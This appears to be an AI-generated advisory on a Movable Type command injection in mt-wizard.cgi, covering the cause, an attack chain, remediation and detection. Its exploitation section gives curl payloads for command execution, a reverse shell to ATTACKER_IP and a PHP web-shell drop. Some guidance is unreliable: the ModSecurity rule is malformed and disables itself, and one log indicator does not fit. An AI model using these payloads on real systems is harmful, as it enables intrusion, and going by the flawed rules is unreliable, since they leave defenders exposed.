CVE-2026-125615 — CWE-78
Movable Type contains an OS command injection vulnerability. Arbitrary OS commands may be executed by sending a specially crafted request to mt-wizard.cgi.
Movable Type contains an OS command injection vulnerability. Arbitrary OS commands may be executed by sending a specially crafted request to mt-wizard.cgi.
🎯 What is this vulnerability?
CVE‑2026‑125615 is an OS command injection (CWE‑78) in the Movable Type blogging / CMS platform.
The vulnerable component is the CGI script mt-wizard.cgi – a helper used during the initial installation wizard and, in some deployments, for on‑the‑fly configuration changes.
- Root cause: The script takes a request parameter (the exact name is not disclosed in the public advisory) and concatenates its value directly into a shell command that is later executed with
system(), `exec()`, or back‑ticks without any of the following safeguards:
| Missing safeguard | Why it matters | |
|---|---|---|
| Input sanitisation / escaping | User‑supplied data is interpolated into a command line unchanged, allowing characters such as ;, &&, | , back‑ticks, or $() to terminate the intended command and inject arbitrary commands. |
| Principle of least privilege | The CGI runs under the web‑server user (often www-data or apache). In many default installations this user has the ability to read most files and, because the script is executed from the document root, it can also write to writable directories (e.g., tmp/, uploads/). | |
| Authentication / authorization check | The endpoint is reachable without authentication (PR:N, UI:N). The wizard script was intended to be called only during a one‑time installation, but the code does not verify that the installation has already been completed or that the caller is a privileged admin. | |
| Network‑level isolation | The script is exposed on the public‑facing interface (AV:N). No network‑level restriction (e.g., firewall, internal‑only binding) is enforced. |
Because the attacker can supply any string that will be passed to the OS shell, they can execute arbitrary commands on the underlying host with the privileges of the web‑server process – a classic remote code execution (RCE) scenario, reflected in the CVSS vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow.
All command lines are syntactically valid; the exact parameter name (cmd) and endpoint (/mt-wizard.cgi) are illustrative because the public advisory does not disclose them.
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| 1.1 | Identify that the target runs Movable Type. | Search for X-Movable-Type-Version header, default /mt.cgi URLs, or meta generator tag (<meta name="generator" content="Movable Type ...">). |
| 1.2 | Determine the version range. | curl -I https://target/mt-wizard.cgi → may return Server: Apache and a Set-Cookie: mtwizard=... hinting at the wizard component. |
| 1.3 | Verify the presence of the vulnerable script. | curl -I https://target/mt-wizard.cgi → HTTP 200 and a short HTML page indicating “Movable Type Installation Wizard”. |
| 1.4 | Check if the wizard is still reachable after installation (many admins forget to delete/disable it). | Direct GET to the script; a 200 response with a form field (e.g., <input name="cmd">) confirms it is still active. |
2. Exploitation
Goal: Execute an arbitrary OS command (e.g., id to prove code execution).
Illustrative PoC (curl):
# Replace <TARGET> with the victim host.
# The parameter name "cmd" is used here for demonstration only.
curl -s -G "https://<TARGET>/mt-wizard.cgi" \
--data-urlencode "cmd=id" \
-H "User-Agent: Mozilla/5.0" \
-H "Accept: */*"If the script concatenates the value of cmd into a shell call such as:
my $output = `some_internal_tool $cmd`;the above request will cause the server to run some_internal_tool id, and the output of id will be returned in the HTTP response (or logged in the web‑server error log).
More powerful payload (reverse shell) – assuming the web‑server can reach the attacker’s listener on port 4444:
curl -s -G "https://<TARGET>/mt-wizard.cgi" \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" \
-H "User-Agent: Mozilla/5.0"Why this works:
bash -c … is executed directly by /bin/sh. PR:N) or CSRF token (UI:N) is required, allowing a network‑only attacker to trigger the payload.3. Post‑Exploitation
| Phase | Typical actions an attacker can take |
|---|---|
| Privilege escalation | If the web‑server user has sudo rights (common mis‑configurations: www-data ALL=(ALL) NOPASSWD: /usr/bin/mt-wizard.cgi), the attacker can run sudo -l and then sudo /bin/bash. Even without sudo, the attacker can read any file readable by the web‑user (e.g., /etc/passwd, configuration files containing DB credentials). |
| Persistence | Drop a web‑shell in a writable directory (e.g., uploads/):<br>curl -s -G "https://<TARGET>/mt-wizard.cgi" --data-urlencode "cmd=echo '<?php system($_GET[\"cmd\"]); ?>' > uploads/shell.php"<br>Later access https://<TARGET>/uploads/shell.php?cmd=whoami. |
| Data exfiltration | Use the same injection vector to cat /path/to/config.inc and pipe it to curl -X POST to an attacker‑controlled endpoint. |
| Lateral movement | With stolen DB credentials, connect to the backend database and extract other applications’ data, or pivot to other internal services reachable from the web‑server. |
| Impact | Full confidentiality, integrity, and availability compromise (as reflected by the CVSS C:H/I:H/A:H). The attacker can delete files, deface the site, or install ransomware. |
🌍 Real‑World Impact
| CIA Triad | CVSS‑derived impact | Practical consequence |
|---|---|---|
| Confidentiality (C:H) | Attacker can read any file the web‑server can access, including configuration files (mt-config.cgi, database credentials), user data, and potentially other services’ secrets. | |
| Integrity (I:H) | Ability to write arbitrary files (web‑shells, malicious scripts) and modify existing content (posts, templates) gives the attacker full control over the site’s content and code. | |
| Availability (A:H) | The attacker can delete or corrupt the application directory, launch a fork bomb, or install ransomware, leading to total service outage. |
Business impact can include:
Because the vulnerability is network‑exposed, unauthenticated, and requires no user interaction, it is trivially exploitable at scale (e.g., automated scanners can weaponise the PoC).
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Vendor patch | Apply the security update released by Six Apart (Movable Type) after 2026‑12‑01 that removes the unsafe command execution path in mt-wizard.cgi. The advisory states “all versions prior to the patch are vulnerable”. |
| Version check | Verify the installed version via the mt-config.cgi file or the X-Movable-Type-Version HTTP header. If the version predates the patch, upgrade immediately. |
| Remove the wizard | If the installation wizard is no longer needed, delete mt-wizard.cgi and any related files (mt-wizard.pl, mt-wizard/). |
2. Workarounds (if patch cannot be applied immediately)
| Mitigation | Implementation | ||||||||
|---|---|---|---|---|---|---|---|---|---|
| Network isolation | Restrict access to mt-wizard.cgi to trusted internal IPs using a firewall rule (e.g., iptables -A INPUT -p tcp --dport 443 -s <trusted‑net> -j ACCEPT and then DROP for others). | ||||||||
| Web‑server configuration | Add a location block that returns 404 for the wizard script:<br>Apache (.htaccess or httpd.conf):<br>``apache<br>RedirectMatch 404 ^/mt-wizard\.cgi$<br>`<br>Nginx:<br>`nginx<br>location = /mt-wizard.cgi { return 404; }<br>` | ||||||||
| ModSecurity rule | Block any request that contains shell metacharacters in a parameter that is passed to mt-wizard.cgi. Example rule (valid ModSecurity syntax):<br>`modsecurity<br>SecRule REQUEST_URI "@beginsWith /mt-wizard.cgi" "id:2026151,phase:2,deny,log,status:403,msg:'Blocked possible OS command injection in mt-wizard.cgi',ctl:ruleEngine=Off"\nSecRule ARGS | ARGS_NAMES "(; | && | \ | \ | \$\\( | \\))" "t:none,ctl:ruleRemoveById=2026151,phase:2,deny,log,status:403,msg:'Shell metacharacter detected in mt-wizard.cgi parameters'"`` | ||
| Least‑privilege web user | Run the web server under a restricted user that cannot write outside its own document root and has no sudo rights. Use chmod/chown to make the root of the site read‑only where possible. | ||||||||
| File system hardening | Ensure mt-wizard.cgi is not world‑writable (chmod 644 mt-wizard.cgi`) and that the directory containing it is not writable by the web user. |
3. Detection – Log & IOC Guidance
| Indicator | Example log entry (Apache) |
|---|---|
| Unexpected request to the wizard | "[01/Dec/2026:12:34:56 +0000] 203.0.113.45 "GET /mt-wizard.cgi?cmd=id HTTP/1.1" 200 123 "-" "Mozilla/5.0" |
| Shell metacharacters in query string | "... /mt-wizard.cgi?cmd=cat%20/etc/passwd%3B%20id HTTP/1.1" |
| Outbound connection from web‑server after injection | In syslog or auth.log: sshd[1234]: Accepted publickey for www-data from 198.51.100.23 port 54321 ssh2 (if attacker escalates to a reverse shell). |
| New files in writable directories | "[01/Dec/2026:12:35:10 +0000] 203.0.113.45 "GET /uploads/shell.php HTTP/1.1" 200 456 "-" "curl/7.68.0" |
| Process creation with suspicious command line | auditd event: type=EXECVE msg=audit(1701482110.123:456): argc=3 a0="bash" a1="-c" a2="bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" |
SIEM rule sketch (generic):
rule:
name: "OS command injection attempt against mt-wizard.cgi"
condition: (http.request.uri contains "/mt-wizard.cgi") and
(http.request.query contains ";"
or http.request.query contains "&&"
or http.request.query contains "`"
or http.request.query matches "\$\(.*\)")
severity: high
actions: [alert, block_ip]⚠️ Urgency
[🤖 CVE Professor AI Security Engine]